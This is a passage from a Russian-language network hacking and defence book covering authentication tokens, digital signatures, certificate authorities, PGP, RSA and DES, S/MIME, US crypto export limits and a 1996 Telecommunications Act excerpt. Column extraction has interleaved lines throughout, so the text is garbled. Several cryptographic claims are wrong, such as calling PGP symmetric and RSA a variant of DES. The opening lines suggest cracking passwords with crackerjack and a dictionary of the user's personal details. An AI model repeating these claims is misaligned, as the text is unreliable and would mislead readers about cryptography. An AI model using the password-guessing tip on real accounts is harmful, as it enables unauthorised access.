Примечательно, что знать старые
пароли — верный путь к успеху. Если они
содержат логическую информацию о пользователе
(имя жены, номер телефона) то, натравив на
crackerjack словарь с информацией про юзера,
можно подобрать пароль из словаря.
Где взять словарь?

107 108
Ломаем и защищаем сети Ломаем и защищаем сети

Часть пятая обслуживание, файлов, сообщений, прикладных


программ и сетевых узлов.
Ломаем и защищаем сети Хотя эти продукты сильно отличаются друг
от друга, но все же имеют две общие черты: они
все основаны на процедуре начальной авторизации
и предполагают использование по меньшей мере
Глава 1: Работа в сети двух удостоверяющих факторов — пароля и
чегонибудь еще. Например, секретных шифров,
Работа в сети может превратиться в диалога типа запросответ, смарт карты,
рискованное предприятие. Привычные биометрических данных, цифровой подписи или
сущности — такие как пользователи, сообщения, публичных ключей.
документы, прикладные программы, серверы Их так же можно подразделить на две
могут оказаться совсем не тем, что вы ожидали большие группы: одни основаны на
увидеть. Чем больше пользователей работает в идентификации клиентов, а другие объектов.
Сети, тем выше вероятность того, что ктонибудь
Идентификация пользователей означает, что
или чтонибудь будет не правильно авторизовано.
каждый запрос на использование ресурсов
Использование пароля не достаточно для подписывается ими (Single Sign — On (SSO)).
создания действительно безопасной сети. Хакеры Авторизация объектов предполагает не только
могут либо подобрать, либо перехватить текстовый проверку подлинности клиента, источника
пароль пользователя и зарегистрироваться вместо запросов, но и целостности сообщений и файлов,
него. Электронные сообщения или файлы могут присланных им.
быть изменены злоумышленниками, до того как
Обычно вместе с продуктом фирмы
достигнут адресата.
производители поставляют специальные
Чтобы надежно защитить сеть от программные инструменты для интеграции его в
несанкционированного доступа необходимы вашу сеть. Например, некоторые из них
специальные средства. Сегодня на рынке выполнены в виде отдельных серверов
существует несколько десятков программных идентификации, к которым прилагается
продуктов, предназначенных для решения этих специальный код для рабочих станций сети.
вопросов. Они используют криптографическую Другие представляют собой код для сервиса
технологию для проверки отправителя данных, авторизации который добавляется к клиентским и
целостности пользователей, запросов на серверным приложениям.

109 110
Ломаем и защищаем сети Ломаем и защищаем сети

Глава 2: Идентификация на мониторе шифратора SecurID. Сервер


запоминает эти коды и каждый раз подтверждает
пользователей права пользователя, если они совпадают.
Продукты для авторизации Использование аппаратных шифраторов
пользователей используют аппаратно или для идентификации не очень удобно. Вы
программносформированный шифр, чтобы должны манипулировать двумя устройствами
ответить на закодированный запрос от ввода — клавиатурой компьютера и панелью
идентификационного сервера. Во время шифратора и соответственно считывать данные с
инициализации процедуры входа в сеть, в ответ на двух мониторов.
введенные идентификатор и пароль пользователь Программные шифраторы более
получает строку цифр. предпочтительны, потому что работают в фоновом
Если используется специальное устройство режиме и не требуют вводить ничего кроме пароля
для генерации шифра, то необходимо ввести в и PINкода. Они сами отвечают на запросы
него полученную строку и свой PIN (Personal сервера идентификации.
Identification Number — персональный код). Communication Devices, MicroFrame и
Устройство с помощью криптографического Security Dynamics предлагают широкий выбор
алгоритма и на основе введенных данных создает шифровальных машин. Это аппаратные,
уникальный пароль для данной сессии и программные и линейные шифраторы. Линейный
показывает его на своем мониторе. Затем шифратор — устройство, которое подключается к
необходимо ввести полученный код в компьютер, порту RS232 персонального или портативного
и, если сервер идентификации подтвердит его компьютера и затем к нему присоединяется модем.
правильность, вы получите доступ к необходимым
ресурсам. Системы Communication Devices и
MicroFrame могут использовать пейджеры в
Security Dynamics Technologies пошла еще качестве приемников шифрованных сигналов.
дальше, помимо этой процедуры запросов и После того, как был введен пароль, сервер
ответов, она с помощью своего устройства посылает строку цифр на пейджер, которую затем
SecurID, меняет пароль сессий каждые 60 секунд. необходимо ввести в компьютер.
Очевидно, что все пароли являются уникальными
и их значение невозможно предсказать. С Даже если кажется, что использование
помощью SecurID вы вводите идентификатор и шифраторов это то же самое что и
сервер запрашивает ваш пароль, затем вводите применение пароля или PIN который вводит
свой PIN и полученный код доступа отображается пользователь — это неверно. При условии, что

111 112
Ломаем и защищаем сети Ломаем и защищаем сети

технологическая цепочка правильно настроена и ознакомиться с продуктами, использующими


все действия выполняются корректно, то стандарты RADIUS и TACACS.
использование шифров дает полную гарантию Обычно идентификационные серверы
(обоснованную математически) в том, что RADIUS или TACACS обслуживают запросы на
пользователи, информация и сетевые ресурсы опознание пользователей от шлюзов или других
защищены от подделки. точек входа в сеть. Сам сервер хранит у себя базу
Еще большую степень безопасности можно данных имен, паролей, PIN пользователей и
реализовать, использовав биометрические данные собственных ключей, которые использует для
для идентификации пользователей. Их идентификации клиентов.
невозможно украсть и очень трудно подделать, Сан Бернардино, самый большой по
например, отпечатки пальцев или голос. Правда территории округ в США, использует Defender
этот способ защиты данных и ресурсов хорош, Security Server для авторизации удаленных
когда доступ к ним разрешен только пользователей. Сервер Shiva перенаправляет
ограниченному кругу лиц, например, к таким, как запросы на авторизацию, с помощью
рецепт кокаколы или система запуска ядерных специального микроволнового канала связи,
ракет. Mytec Technologies и Secure Computing, серверу идентификации. Пользователи могут
наряду с другими поставщиками систем использовать либо программные, либо аппаратные
безопасности, обеспечивают взаимодействие с шифровальные устройства для авторизации.
биометрическим оборудованием третьих фирм. Рекомендуется использовать аппаратные
Обмен данными между шифровальными шифровальные машины для портативных
машинами или биометрической аппаратурой с компьютеров, поскольку это даст возможность
сервером происходит на основе стандартов SSO, хранить их раздельно. Это еще больше
таких как Remote Authentication DialIn User увеличивает надежность системы.
Service (RADIUS), Terminal Access Control Access Чтобы проконтролировать доступ клиентов
Control System (TACACS) и Kerberos. к приложениям, файловым серверам и базам
Если вашей основной задачей является данных, следует рассмотреть продукты на базе SSO
идентификация пользователей, имеющих доступ к технологии — такие как Kerberos, Distributed
внешним коммуникационным шлюзам, Computing Environment, Secure European System for
маршрутизаторам, системе администрирования Applications in a Multivendor Environment или
портов и брандмауэру, защищающему внутреннюю Distributed Authentication Security Service. Они дают
сеть от прямого доступа из Internet, стоит возможность выполнять процедуры авторизации
для всех приложений, серверов и баз данных.

113 114
Ломаем и защищаем сети Ломаем и защищаем сети

Глава 3: Идентификация объектов восстанавливает хэшированную строку. Затем


запускает алгоритм хеширования и создает
Для идентификации сообщений, файлов собственную копию хешстроки принятого
или других объектов в сети используется объекта. Если обе строки совпадут — это будет
технология цифровой подписи. Стоит обратить означать, что объект действительно послан
внимание на продукты RSA компании Data указанным пользователем и не был никем
Security, основанной на стандартах и методах изменен.
Public Key Cryptography Standards (PKCS), Digital
Что же действительно делает систему
Signature Algorithm, X.509, Pretty Good Privacy
шифрования с помощью открытых ключей
(PGP) и другие, применяющие технику публичных
действительно надежной? То, что отправитель
ключей. Цифровая подпись — это строка,
сообщения никогда и никому не сообщает свой
содержащая набор символов, который однозначно
собственный закрытый ключ для шифрования.
определяет источник, родителя объекта, и
Открытый ключ помещается в массив данных, и
подтверждает его целостность, т.е. что он не был
его значащие части разбросаны по всему массиву.
изменен после отправки.
Этот массив данных называют сертификатом
Цифровая (или электронная) подпись открытого ключа, который часто строится с
генерируется с помощью специальных использованием синтаксиса стандарта Х.509. Он
алгоритмов — Secure Hash Algorithm, Message выдается специальными организациями и со
Digest 2 или MD 5. Они определенным образом свидетельством того, что он принадлежит
преобразуют битовый образ объекта, изменяя и определенному лицу или компании.
усекая его.
Адресат достает сертификат из центрального
Затем он шифруется с помощью закрытого хранилища, например Webсервера, извлекает из
ключа пользователя, в результате получается него публичный ключ, чтобы удостоверить
строка, которая и является цифровой подписью. цифровую подпись.
Цифровая подпись, сам объект и открытый ключ
Для того чтобы понять, в каком продукте
собираются вместе и отправляются адресату.
вы действительно нуждаетесь, необходимо понять,
Открытый ключ необходим для того, чтобы как вы будете интегрировать его в свою сеть. Как
адресат мог оценить целостность полученного он будет взаимодействовать с операционной
объекта. средой рабочих станций, почтовой системой,
Получатель расшифровывает цифровую Webбраузерами и другими приложениям.
подпись с помощью присланного ключа и Например, Government Markets' SecretAgent
компании ATT посылает цифровую подпись

115 116
Ломаем и защищаем сети Ломаем и защищаем сети

вместе с почтовым сообщением как VeriSign — первая фирма которая стала продавать
присоединенный файл. сертификаты публичных ключей, стандарта Х.509.
Signature Program фирмы Regnoc Software Обычно СА формирует иерархию доверия, в
великолепно интегрирована в Windows. Она которой каждый более высокий уровень
применяет технологию OLE 2.0 для подписи поручается за предыдущий и подписывает его
любого сформированного документа. ViaCrypt PGP сертификат. VeriSign, ATT и Northen Telecom
использует мене элегантный, но не менее поставляют инструменты для интеграции своих
эффективный способ. Она выкусывает текст продуктов в иерархическую систему СА и
сообщения из приложения в буфер (clipboard), поддерживают сертификаты стандарта Х.509.
подписывает его там и затем возвращает обратно С помощью Digital ID фирмы VeriSign, вы
приложению. Благодаря этому, она хорошо сможете создать и управлять сертификатами
работает с широким спектром Windows и открытых ключей, которые поддерживают
Macintosh программ. цифровые подписи, использующиеся
Еще одна важная вещь, с которой вы приложениями разных фирм производителей.
столкнетесь, работая с цифровой подписью, — это VeriSign обеспечивает базовую технологию
организационная и техническая сущность цифровой подписи, которая лежит в основе
известная под названием Certification Authority множества продуктов, например Macintosh OS 7.5
(CA). CA помещается в доступном месте, фирмы Apple Computer, Internet Office WebServer
зашифрованный с помощью своего собственного компании CompuServe, Internet Connection Sever
ключа, и, если необходимо, отменяет сертификаты корпорации IBM, Internet Information Server от
публичных ключей. Пользователь, получивший Microsoft, Web сервера и Webбраузера фирмы
сообщение, запрашивает сертификат отправителя у Netscape, WebServer 2.0 компании Oracle и
СА, находящегося на Webсервере, чтобы SecureWeb tools kit — набора библиотек фирмы
удостовериться в подлинности письма. Иногда Terisa Systems.
сертификат присылают вместе с сообщением. С другой стороны, система защиты ViaCrypt
СА может стать своеобразным PGP не требует иерархической структуры СА. Она
корпоративным офицером по безопасности, использует так называемую паутину доверия, когда
защищая внутренние приложения сети. пары пользователей идентифицируют друг друга.
Существуют специализированные фирмы Тем не менее, ViaCrypt скоро будет поддерживать
выпускающие такие продукты — VeriSign и как иерархическую организацию СА других фирм
планируется U.S. Postal Service (USPS). производителей.

117 118
Ломаем и защищаем сети Ломаем и защищаем сети

Стоит обратить внимание на одну станциях и серверах. Непременно надо обратить


замечательную способность ViaCrypt PGP — он внимание и на возможность извлечь необходимую
может автоматически расшифровывать все информацию из существующей корпоративной
зашифрованные сообщения, посланные или базы данных и поместить ее в сервер
полученные сотрудниками. Ее можно настроить идентификации.
так, чтобы вся исходящая корреспонденция SDK фирмы АТT включает библиотеку с
автоматически зашифровывалась и требовать, Сиинтерфейсом для вызова функций авторизации
чтобы служащие использовали для расшифровки и специальные библиотеки для создания цифровой
сертифицированные ключи, которые меняются подписи и другими секретными алгоритмами для
каждую сессию. Windows NT и Windows 95.
Фирма Security Dynamics недавно приобрела
Глава 4: Инструменты для систему RSA компании Data Security, и предлагает
разработки приложений на рынке RSA SDK, включая BSAFE 3.0 и
инструментальные средства для работы с
После того как вы выбрали конкретный Interoperable Privacy Enhanced Messaging. RSA
продукт, необходимо встроить его в ваши библиотеки использовались для создания многих
приложения и сеть. Это заставляет покупателей коммерческих систем безопасности, включая
очень критично относиться к инструментам расширения для Windows 95, NetWare, Netscape
разработчика, которые поставляются вместе с ним. Navigator, Lotus Notes и SQLNet компании Oracle.
Они позволяют сделать доступным сервис CyberSafe и Nortel поддерживают стандарт
идентификации из существующих приложений Generic Security Service (GSS), определенный в
или трансформировать оборудование клиента так, IETF RFC 1508.
чтобы он мог обмениваться данными с сервером Интерфейс библиотеки GSS не требует
авторизации. Некоторые из поставщиков специального изучения архитектуры систем
предлагают еще более сложные инструменты для безопасности таких как Kerberos, DCE или PKCS.
разработки и специальные библиотеки.
Естественно, необходимо, чтобы они
поддерживают интерфейс с языками Глава 5: Степень риска
программирования высокого уровня, с которыми
знакомы ваши программисты. Так же стоит Массовый рынок электронной коммерции,
оценить те ресурсы, которые потребует процедура документооборота и других межсетевых
авторизации и скорость ее выполнения на рабочих взаимодействий скоро потребует авторизации

119 120
Ломаем и защищаем сети Ломаем и защищаем сети

пользователей и информации. В ближайшем Глава 6: Ключ от квартиры, где


будущем сложные идентификационные свойства,
такие как программные шифровальные машины и
могут лежать деньги
цифровая подпись, будут просто интегрированы Задумывались ли вы когданибудь о том,
непосредственно в большинство операционных что каждый раз, когда конечный пользователь
систем, приложений, продукты удаленного посылает электронное сообщение по сети, он
доступа, почтовые системы и брандмауэры широко распахивает дверь перед потенциальным
Internet. Не ясно, что будут делать фирмы, агрессором. Как утверждают знатоки
специализирующиеся на выпуске систем компьютерной безопасности, люди даже не
безопасности, когда основные поставщики представляют себе, насколько легко опытный
программного обеспечения начнут встраивать их в хакер может воспользоваться несовершенствами
свои продукты. коммуникационных протоколов и ознакомиться с
Однако, если вы хотите сделать вашу содержанием электронных Internetписем, послать
корпоративную сеть непроницаемой, начните фальшивое сообщение и даже получить доступ к
использовать сегодняшние коммерческие другим подключенным к сети системам. Все, что
продукты и разбираться с массой новых для этого надо знать — это имя домена или один
незнакомых стандартов и технологий. Не IPадрес; если данная информация становится
обязательно быть математиком для того, чтобы известна злоумышленнику, то перед ним
ориентироваться в существующем рынке систем открывается путь к совершению разнообразных
безопасности и алгоритмах, лежащих в их основе. пакостей.
Надо просто рассчитать потенциальные Один из методов защититься от
потери от взломанных и украденных паролей и непрошеных соглядатаев, завоевывающий все
других связанных с этим убытков. Затем оценить большую популярность в последнее время, состоит
необходимость механизма, который бы в шифровании электронной почты и прочих
гарантировал идентичность каждого пользователя, электронных сообщений, то есть кодировании
сообщения, документа и пакета в вашей сети. текста при помощи сложных математических
алгоритмов. Конечно, ни один из шифровальных
алгоритмов не дает стопроцентной защиты от
злоумышленников, и некоторые методы шифровки
настолько сложны, что ознакомиться с
содержанием зашифрованных сообщений
практически невозможно.

121 122
Ломаем и защищаем сети Ломаем и защищаем сети

Используя шифрование сообщений в провайдером, при этом нет никакой возможности


сочетании с правильной установкой контролировать степень защиты этих линий.
коммуникационных средств, должными Даже если большая часть используемого
процедурами идентификации пользователя и оборудования принадлежит именно вам, все равно
обеспечением безопасности линий связи, маршрутизатор, обрабатывающий ваши посылки
компания может добиться весьма высокого уровня не ваш, он принадлежит владельцу
защиты информационного обмена. Нельзя, однако коммуникационной сети. В частности, приходится
не признать, что при принятии решения о довольно часто сталкиваться с тем, что
покупке подобной системы невозможно обойтись компаниявладелец подключает к маршрутизатору
без услуг квалифицированного консультанта, модем, для того чтобы управлять работой
поскольку, вопервых, технология эта очень маршрутизатора в дистанционном режиме.
сложна, вовторых, использование даже самого
лучшего продукта добавит хлопот администрации, Именно через эти модемы к
а втретьих, на этом рынке присутствует очень маршрутизатору и могут подключаться хакеры,
много производителей, разработавших самые получая в результате доступ ко всем передаваемым
разные APIинтерфейсы. данным; при этом служба безопасности компании
так никогда и не узнает, что то или иное
сообщение было перехвачено.
Глава 7: Разнообразие применений Поэтому и пытается потребитель подобрать
Не является ли шифрование сообщений для себя шифровальные устройства или
стрельбой из пушки по воробьям? Те какиенибудь другие изделия, позволяющие
пользователи, которые уже перешли на скрыть информацию от чужих глаз. Примером
использование этой технологии или готовы такого изделия может служить продукт NetFortress,
сделать этот шаг в ближайшем будущем, дают выпускаемый компанией Digital Secured Networks
однозначный ответ: нет, ни в коей мере. Одна из Technology. Одно устройство шифрует весь трафик
причин такого перехода — желание обеспечить в процессе его передачи, другое дешифрует трафик
защиту сообщений, передаваемых по линиям при приеме. Производители маршрутизаторов
связи, используемым в глобальных сетях. предлагают нечто подобное в виде
дополнительных устройств к своим изделиям.
Даже если внутренняя сеть хорошо
защищена, для пересылки сообщений через По мнению пользователей шифровальных
глобальную сеть приходится использовать линии систем, польза от шифрования состоит не только в
связи сетей общего доступа, предоставляемые том, что сотрудники компании могут спать

123 124
Ломаем и защищаем сети Ломаем и защищаем сети

спокойно, зная, что до их коммерческих секретов Тот, кто хочет ознакомиться с работой
никто не доберется, но также и в том, что шифровальных систем, прежде всего должен
шифрование помогает компании выйти на новый получить представление о двух важнейших
уровень эффективности работы и экономии компонентах любой системы: ключе и
средств. сертификате (key и certificate).
Хорошим примером здесь может послужить Ключ — это алгоритм или математическая
обычная почта. Если как следует призадуматься, формула, используемая при кодировании
то станет ясно, что этот способ передачи сообщения. Для того, чтобы получатель мог
служебной информации не обеспечивает ее расшифровать посланное ему сообщение, он сам
достаточной защиты информации. На самом деле, должен знать этот алгоритм или формула; именно
кто угодно может вскрыть это письмо и отсюда и происходит название ключ.
ознакомиться с его содержанием, так что всю Размер ключа (он измеряется в битах)
конфиденциальная информацию приходится определяет, насколько сложен алгоритм
пересылать с курьером. Если вместо курьера кодирования и насколько трудно будет
удается использовать должным образом злоумышленнику расшифровать сообщение, не
защищенную электронную почту, возникает зная ключа. Современные ключи, разрешенные к
колоссальная экономия средств (особенно, если использованию исключительно на территории
курьера приходится отправлять на другой конец Соединенных Штатов, имеют длину 1024 бит.
земного шара). Кроме того, становится Однако вывозить за границу разрешено только
возможным в течении нескольких часов решать ключи длиной не более 40 бит.
вопросы, для решения которых обычно
требовалась неделя. При работе с ключами можно следовать
либо симметричной модели (используются только
открытые ключи), либо асимметричной модели
Глава 8: Открой дверь своим ключом (используются как открытые, так и закрытые
ключи).
Прежде чем отправляться покупать
шифровальную систему, следует провести При работе с симметричными моделями для
серьезнейшую домашнюю работу. В кодирования и декодирования сообщений
шифровальном деле используется множество используется один и тот же алгоритм. Именно
различных технологий и протоколов передачи такой подход применяется в известной программе
данных, а также сложный математический Филиппа Циммермана Pretty Good Privacy (PGP),
аппарат. рассчитанной на работу с открытыми ключами.

125 126
Ломаем и защищаем сети Ломаем и защищаем сети

В PGP применяется так называемая модель Работа с асимметричными ключами не


равного доверия. Это означает, что отправитель требует доверия между отправителем и
знает получателя и доверяет ему, и поэтому не получателем. Это, конечно, хорошо.
видит ничего плохого в том, чтобы передать ему Однако работа по этой модели требует
ключ шифра. Именно тут и зарыта pretty good (в дополнительных административных усилий,
буквальном переводе — довольно хорошая) поскольку ключи (и открытые и закрытые) надо,
конфиденциальность. Хотя само использование вопервых, гдето хранить, а вовторых, время от
алгоритма шифрования и затрудняет времени обновлять.
злоумышленнику доступ к содержанию
сообщения, такой способ можно признать не Асимметричная технология используется в
более чем довольно хорошим по сравнению с алгоритме, разработанном компанией RSA Data
прочими методами. Securirty, и приобретенном недавно компанией
Security Dynamics. В RSA используется технология,
С другой стороны, нельзя не признать, что представляющая собой некое видоизменение
серьезное достоинство PGP состоит в отсутствии основанного на равном доверии метода Data
необходимости осуществлять управление Encryption Standard (DES). Этот метод был
ключами — именно потребность в таком разработан примерно десять лет назад
управлении и составляет основной недостаток Национальным институтом стандартов и
асимметричных ключей. технологий (National Institute of Standards and
При работе с асимметричной моделью Technology) и используется до сих пор. Для
каждый из пользователей имеет свой открытый каждой операции кодирования в DES
ключ, который хранится таким образом, чтобы он генерируется случайный ключ (вместо повторного
был доступен всем желающим. Тот, кто хочет использования одного и того же ключа).
послать зашифрованное сообщение, должен Специалистышифровальщики утверждают, что
воспользоваться открытым ключом получателя. RSA помогает решить ряд проблем (в частности,
При декодировании сообщения получатель проблему доверия между отправителем и
использует свой закрытый ключ. Закрытый ключ получателем), однако при этом возникает ряд
отличается от открытого ключа, однако между новых затруднений.
ними существует определенная математическая Представим себе, что ктото хочет послать
связь, так что расшифровать сообщение можно кодированное сообщение. Первым делом он
только при использовании закрытого ключа. должен сгенерировать (случайным образом) ключ
и с его помощью зашифровать сообщение. Однако
не зная этого ключа, никто не сможет

127 128
Ломаем и защищаем сети Ломаем и защищаем сети

декодировать зашифрованное сообщение, поэтому Чтобы обеспечить безопасность сообщений,


сам ключ DES тоже приходится кодировать с нужно решить две задачи: вопервых, обеспечить
помощью открытого RSAключа получателя. конфиденциальность информации, а вовторых,
Получатель затем декодирует DESключ с добиться того, чтобы никто не совал в нее нос.
помощью закрытого RSAключа. Несколько И тут на сцене появляется сертификат,
тяжеловесно. RSA очень громоздок и работает называемый также электронной подписью.
очень медленно. DES организован весьма Сертификат можно уподобить электронному
эффективно и работает быстро, однако он не паспорту: благодаря ему можно убедиться, что
может обеспечить ту степень защиты, которую отправитель и получатель действительно являются
можно получить при работе по асимметричной теми, за кого себя выдают.
модели.
Проблема тут в том, что техника не всегда
RSA попрежнему остается одной из самых может обеспечить необходимый уровень доверия.
известных шифровальных технологий, однако, Пока мы работаем с нашей собственной
бесспорно, в настоящее время используются и кабельной системой, мы вполне ей доверяем. А
другие методы шифровки, основанные на что теперь? Допустим, некий сотрудник Daytona
асимметричной модели. Co. хочет обратиться к информационной системе
Например, другие производители Chrysler Corp. через несколько сетей общего
используют альтернативный метод кодирования пользования. О каком доверии тут может идти
ДиффиХеллмана, носящий имя своих создателей. речь? Необходимо убедиться в том, что данное
Этот метод представляет собой другую лицо действительно имеет право работать с
математическую реализацию асимметричной соответствующими документами.
модели. Именно он используется в продукте При работе с сертификатами можно
NetFortress (DSN). использовать две схемы. Вопервых, сертификаты
может создавать и поддерживать сторонняя
Глава 9: Скажи мне, кто ты компания; в частности, этим занимается VeriSign.
Вовторых, любая компания сама может создавать
Конечно, невозможно представить себе и поддерживать сертификаты, используя при этом,
кодирование сообщений без использования например, продукт Entrust (Nortel), который к
ключей. Нельзя, однако, не признать, что никакое тому же обеспечивает кодирование сообщений.
использование ключей не может помочь После того, как пользователь получает
установить личность адресата сообщения. сертификат, он может использовать его в качестве
своей электронной подписи.

129 130
Ломаем и защищаем сети Ломаем и защищаем сети

При получении документа с электронной Однако если от услуг сторонней


подписью, адресат знакомится со всей организации будет решено отказаться, то
информацией, содержащейся в сертификате; к ней немедленно возникнет проблема, откуда вообще
относится, в частности, имя отправителя, адрес возьмутся сертификаты.
отправителя и прочие данные, которые решено С точки зрения администраторов сетей,
было включить в сертификат. Электронная работа с сертификатами тоже представляет
подпись содержит также информацию о том, кто определенную проблему. Если не обращаться к
выдал сертификат, когда истекает срок его услугам сторонних компаний, то работа по
действия и какой уровень верификации управлению сертификатами приведет к
установлен для данного сертификата. существенному возрастанию административных
Существуют сертификаты трех классов. Для накладных расходов, даже если пользоваться такой
сертификатов первого класса проверяется программой, как Entrust, где заложены функции
уникальность имени и правильность адреса управления. По большей части, сертификаты
электронной почты, а также то, что получатель выдаются на определенный срок, например, на
сертификата имеет право на доступ к данному год. Следовательно, ктото должен следить за их
разделу электронной почты. Для второго класса мы продлением. Кроме того, необходимо следить за
проверяется имя, адрес, номер водительского аннулированием сертификатов увольняемых
удостоверения и полис социального страхования, а сотрудников и выдачей новых сертификатов
также дата рождения. Для сертификатов третьего принимаемым на работу.
класса проверяются все вышеперечисленные
данные и осуществляется поиск по базе данных
Equifax (информационное бюро по кредитам).
Глава 10: И слово это — SMIME...
Сертификаты незаменимы в деле Дополнительная нагрузка на менеджеров
идентификации пользователей для всех информационных систем связана с тем, что в
организаций, озабоченных защитой данных. настоящее время поднимается очередная волна
Тем не менее, пользователи признают, что выпуска новых протоколов, разрабатываемых
организация, вынужденная прибегать к различными промышленными компаниями.
использованию шифровки и работе с Создаются многочисленные интерфейсы API,
сертификатами, может неодобрительно отнестись охватывающие все области шифровальной
к идее доверить работу с сертификатами технологии.
сторонней организации. В настоящее время наибольшей
популярностью пользуются два интерфейса API.

131 132
Ломаем и защищаем сети Ломаем и защищаем сети

Несмотря на то, что их часто называют SMIME предполагается включить в Microsoft


стандартами, на деле это не более чем средства Exchange), Netscape и Qualcomm, производитель
возможно более широкого распространения программного обеспечения для электронной почты
технологии работы с ключами производства Eudora.
какойто определенной компании. В результате этого, выбор SMIME в
Тем не менее, производители, например, качестве протокола кодирования оказывается
программ поддержки электронной почты, весьма привлекательным для производителей
выстраиваются в очередь на получение лицензии программного обеспечения. Покупая продукты,
на использование этих интерфейсов API. поддерживающие SMIME, или наборы
В настоящее время ведутся работы над инструментальных средств разработчика под
следующими четырьмя протоколами: Secure SMIME, они могут быть уверены, что будут в
Multipurpose Internet Mail Extensions (SMIME), состоянии передавать информацию большому
Multipart Object Security Standard (MOSS), новая числу пользователей; именно это и называется
версия PGP, где допускается использование стандартом дефакто. Покупатели же других
асимметричной модели ключей, и протокол протоколов будут вынуждены вести беседу сами с
Message Security Protocol. собой.
MOSS — это API для Министерства Тем не менее, SMIME в его теперешнем
обороны, и его использование будет обязательным состоянии нельзя считать панацеей. Одна из его
для всех правительственных организация и всех проблем состоит в том, что расписываться
частных компаний, ведущих дела с приходится на внешней стороне запечатанного
правительством. конверта. Кроме того, проблема состоит и в том,
что закодировав сообщение с помощью общего
Но с коммерческой точки зрения более ключа получателя, отправитель уже не может
сильными протоколами являются SMIME и PGP, вносить в него какиелибо изменения.
Version 3.0. Их наборы функций больше подходят
для коммерческого сектора. В частности, в них Разработчики SMIME еще не завершили
имеется совместимость с более ранними версиями работы над этим API, так что имеется надежда,
и более развитые функции управления ключами и что эти недостатки будут устранены. Тем не менее,
сертификатами. Наиболее серьезные силы в представляется весьма маловероятным, чтобы
области передачи данных по Internet собрал под проблемы были решены еще до того, как SMIME
свои знамена протокол SMIME. За его будет включен в состав ряда прикладных
плечами — компании Microsoft (поддержку программ.

133 134
Ломаем и защищаем сети Ломаем и защищаем сети

Даже несмотря на то, что целый ряд программное обеспечение, работающее с ключами
серьезных проблем еще ожидает своего решения, длиной более 40 бит. В то же время, компании
шифровка сообщений и сертификация других стран, например, Японии, могут свободно
пользователей позволяют весьма существенным продавать технологии, где используются ключи
образом усовершенствовать защиту данных, в длиной до 1024 бит.
особенности для тех организаций, которые Нельзя сказать, чтобы американское
активно используют Internet или глобальные сети правительство полностью игнорировало проблему.
intranet. Такие организации не могут себе Вицепрезидент Альберт Гор внес предложение о
позволить дожидаться появления стандарта создании системы депонирования ключей,
дефакто. согласно которому американские компании могут
Те же, кто в состоянии ждать, в настоящее получить право экспорта ключей длиной свыше 40
время заняты освоением новой технологии. Не бит только при выполнении определенного
подлежит сомнению, что массовое внедрение условия. В соответствии с этим условием, копии
шифровальных технологий уже началось. Те, кто всех ключей должны храниться у определенной
игнорирует новую технологию, очень скоро сторонней организации, откуда они могут быть
обнаружат, что их коммерческие секреты знает затребованы представителями закона.
любой ребенок. Сенатский подкомитет по технике, науке и
космосу выслушал целый ряд заявлений от
Глава 11: Будет ли разрешен производителей шифровальных технологий и
прочих экспертов. На самом деле, в обе палаты
вывоз современных шифровальных Конгресса уже внесено несколько законопроектов,
технологий? предусматривающих смягчение запретов на
экспорт. Все они предполагают отмену 40битного
Одним из главных препятствий на пути
ограничения и устранение прочих запретов на
широкого распространения являются строгие
международное использование и разработку
ограничения на вывоз шифровальных технологий,
шифровальных технологий.
введенные федеральным правительством. По
существу, шифровальная технология отнесена к Руководство американских компаний с
той же категории, что и боеприпасы. большим нетерпением ждет принятия этих
законопроектов и выражает уверенность в том, что
В соответствии с этими постановлениями,
снятие ограничение повысит
американские компании не имеют права
конкурентоспособность американских
экспортировать и устанавливать за границей
производителей на международном рынке.

135 136
Ломаем и защищаем сети Ломаем и защищаем сети

Глава 12: Internet вне закона соединение при помощи телекоммуникационного


устройства, вслед за которым следует разговор,
Выдержка из Акта о Телекоммуникациях исключительно с целью вызвать беспокойство
1996 года. другого лица по вызываемому номеру или того, с
Любой, кто при межштатных или кем установлено соединение или намеренно
межгосударственных коммуникациях посредством разрешает использование любого
телекоммуникационного устройства намеренно телекоммуникационного устройства, находящегося
производит, создает или подстрекает, а также в его распоряжении или под его контролем будет
инициирует передачу любого комментария, оштрафован в соответствии с Законодательством
просьбы, предложения, образа или другого Соединенных Штатов или заключен в тюрьму
сообщения, являющегося непристойным, сроком до двух лет, либо то и другое;
похотливым, сладострастным, грязным или Любой, кто при межштатных или
нескромным, с намерением оскорбить, напугать межгосударственных коммуникациях намеренно
или смутить другое лицо посредством использует интерактивную компьютерную службу
телекоммуникационного устройства намеренно для посылки какомулибо лицу или лицам, не
производит, создает или подстрекает, а также достигшим 18 лет или использует любую
инициирует передачу любого комментария, интерактивную компьютерную службу для
просьбы, предложения, образа или другого размещения способом, доступным лицу, не
сообщения, являющегося непристойным или достигшему 18 лет любого комментария, просьбы,
нескромным, зная, что получатель сообщения не предложения, образа или другого сообщения,
достиг восемнадцатилетнего возраста как при которое рисует или описывает в терминах открыто
осуществлении автором такого звонка, так и при оскорбительных с точки зрения принятой в
инициации передачи, производит телефонный обществе морали сексуальные или экскреторные
звонок или использует телекоммуникационное действия или органы как в случае, когда
устройство (независимо от того, состоялся ли пользователь такой службы производит звонок, так
данный разговор или передача сообщений), не и в случае когда он инициирует передачу
представившись, с целью досадить, оскорбить, сообщения или намеренно допускает
напугать или смутить любое лицо по вызываемому использование телекоммуникационного
номеру или того, кто получит сообщение; устройства, находящегося в его распоряжении или
непрестанно или регулярно звонит по телефону с под его контролем будет оштрафован в
целью досадить любому лицу по вызываемому соответствии с Законодательством Соединенных
номеру или постоянно звонит или устанавливает

137 138
Ломаем и защищаем сети Ломаем и защищаем сети

Штатов или заключен в тюрьму сроком до двух Глава 13: На линии огня
лет, либо то и другое.
Если компания выходит в Internet, то она
Помимо других средств защиты,
может быть уверена, что хакеры о ней не забудут.
предоставляемых законом:
Однако, если установить брандмауэр, сон
Никакое лицо не может быть обвинено в администратора сети может стать спокойнее.
нарушении вышеуказанных подпараграфов за
В старые добрые времена хозяева часто не
предоставление доступа или соединения с/к
запирали двери, когда ложились спать. Тогда
устройством/у, системой/е или сетью/и,
угроза личной безопасности и собственности была
имевшим место без ведома данного лица, включая
минимальна.
передачу, загрузку по сети, промежуточное
хранение, программное обеспечение доступа или За прошедшие годы преступность получила
тому подобные средства, а также произведенного такое распространение, что даже жители
случайно. небольших городков не защищены от опасностей
внешнего мира. Пусть эта угроза только
...
потенциальна, большинство людей
Ни один работодатель не несет предпринимают стандартные меры
ответственности, определенной в данном предосторожности, запирая двери домов и
параграфе, за действия служащего или агента, за гаражей, а некоторые даже устанавливают системы
исключением случаев, когда деятельность сигнализации.
